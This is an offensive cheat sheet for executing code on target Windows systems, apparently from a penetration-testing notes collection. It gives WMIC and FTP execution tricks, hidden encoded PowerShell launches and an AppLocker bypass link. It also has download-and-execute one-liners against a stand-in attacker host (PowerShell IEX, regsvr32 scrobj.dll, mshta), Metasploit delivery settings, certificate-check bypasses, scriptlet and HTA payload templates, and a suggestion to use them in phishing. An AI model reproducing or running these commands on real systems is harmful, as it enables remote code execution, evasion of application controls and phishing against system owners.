Execution

Tips and tricks to execute your code on the target Windows sytem.

• Simple Execution
  • WMIC
  • FTP
  • PowerShell
  • External Resources
• Web Delivery
  • PowerShell
  • RegSvr32
  • MSHTA
  • MSBuild

Simple Execution

Different ways to perform simple command execution on the target system when CMD is not directly available.

WMIC

wmic process call create <CMD>
wmic process call create "cmd.exe /c <CMD>"

FTP

The ftp utility allows you to execute commands by preceding them by the ! sign.

ftp.exe
ftp> !<CMD>

You can also be dropped into a CMD prompt by typing ! without specifying any command.

ftp.exe
ftp> !
Microsoft Windows [Version 10.0.16299.547]
(c) 2017 Microsoft Corporation. All right reserved.

C:\Users\betelsam>

PowerShell

Description of the options to pass to powershell.exe to execute a custom PSH-CMD payload.

powershell.exe -nop -w hidden -e <base64-unicode payload>
powershell.exe -nop -w hidden -command "<raw powershell command>"

External Resources

• https://github.com/api0cradle/UltimateAppLockerByPassList

Web Delivery

Deliver your payload hosted on a web server.

PowerShell

IEX (New-Object System.Net.WebClient).DownloadString('http://evil.site/powershell-payload.txt')

Proxy Configuration:

By default, this command will use the proxy configured for the system in Internet Options. Configure the Net.WebClient object to bypass the proxy for a specific request:

$wc = New-Object Net.WebClient
$wc.proxy = $null

In the case of a proxy requiring authentication, configure the Net.WebClient object to use the Windows session credentials:

$wc = New-Object Net.WebClient
$wc.Proxy.Credentials = [Net.CredentialCache]::DefaultCredentials

Ignore Certificate Issues:

[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true}

RegSvr32

Delivers a JScript payload that uses ActiveX to execute a command (see Windows Script Host).

regsvr32 /s /n /u /i:http://evil.site/payload scrobj.dll

Metasploit: auxiliary/server/regsvr32_command_delivery_server:

use auxiliary/server/regsvr32_command_delivery_server
set cmd [COMMAND]

Metasploit: exploit/multi/script/web_delivery:

use exploit/multi/script/web_delivery
set target Regsvr32

Custom Payload:

<?XML version="1.0"?>
<scriptlet>
    <registration progid="[RANDOM ALPHANUM ID]" classid="{c0cc880f-3456-9812-15ba-cfee08744d70}">
        <script>
            <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("calc.exe",0);]]>
        </script>
    </registration>
</scriptlet>

Note that classid could be any random UID.

MSHTA

Delivers a HTML Application (HTA) capable of running VBS or JS (see Windows Scripting Host) either as a full-fledge website or via command line. See Microsoft documentation for more details.

mshta http://evil.site/payload.hta

This could also be used in a phishing attack by simply tricking the user to visit the webpage using Internet Explorer or Edge.

Metasploit: exploit/windows/misc/hta_server:

use exploit/windows/misc/hta_server
set target Powershell [x86/x64]
set payload [PAYLOAD]

This will use VBA to execute any PSH-CMD payload.

Custom Payload: As an HTA application is a full-fledge website that can embed VBS or JS, you can use both to use execute any command via ActiveX.

Example using VBScript:

<script language="VBScript">
  Set objShell = CreateObject("Wscript.Shell")
  objShell.Run "calc.exe",0
  window.close()
</script>

Example using JScript:

<script language="JScript">
    var objShell = new ActiveXObject("WScript.shell");
    objShell.run('"calc.exe"');
    window.close();
</script>

MSBuild

TO TEST AND DOCUMENT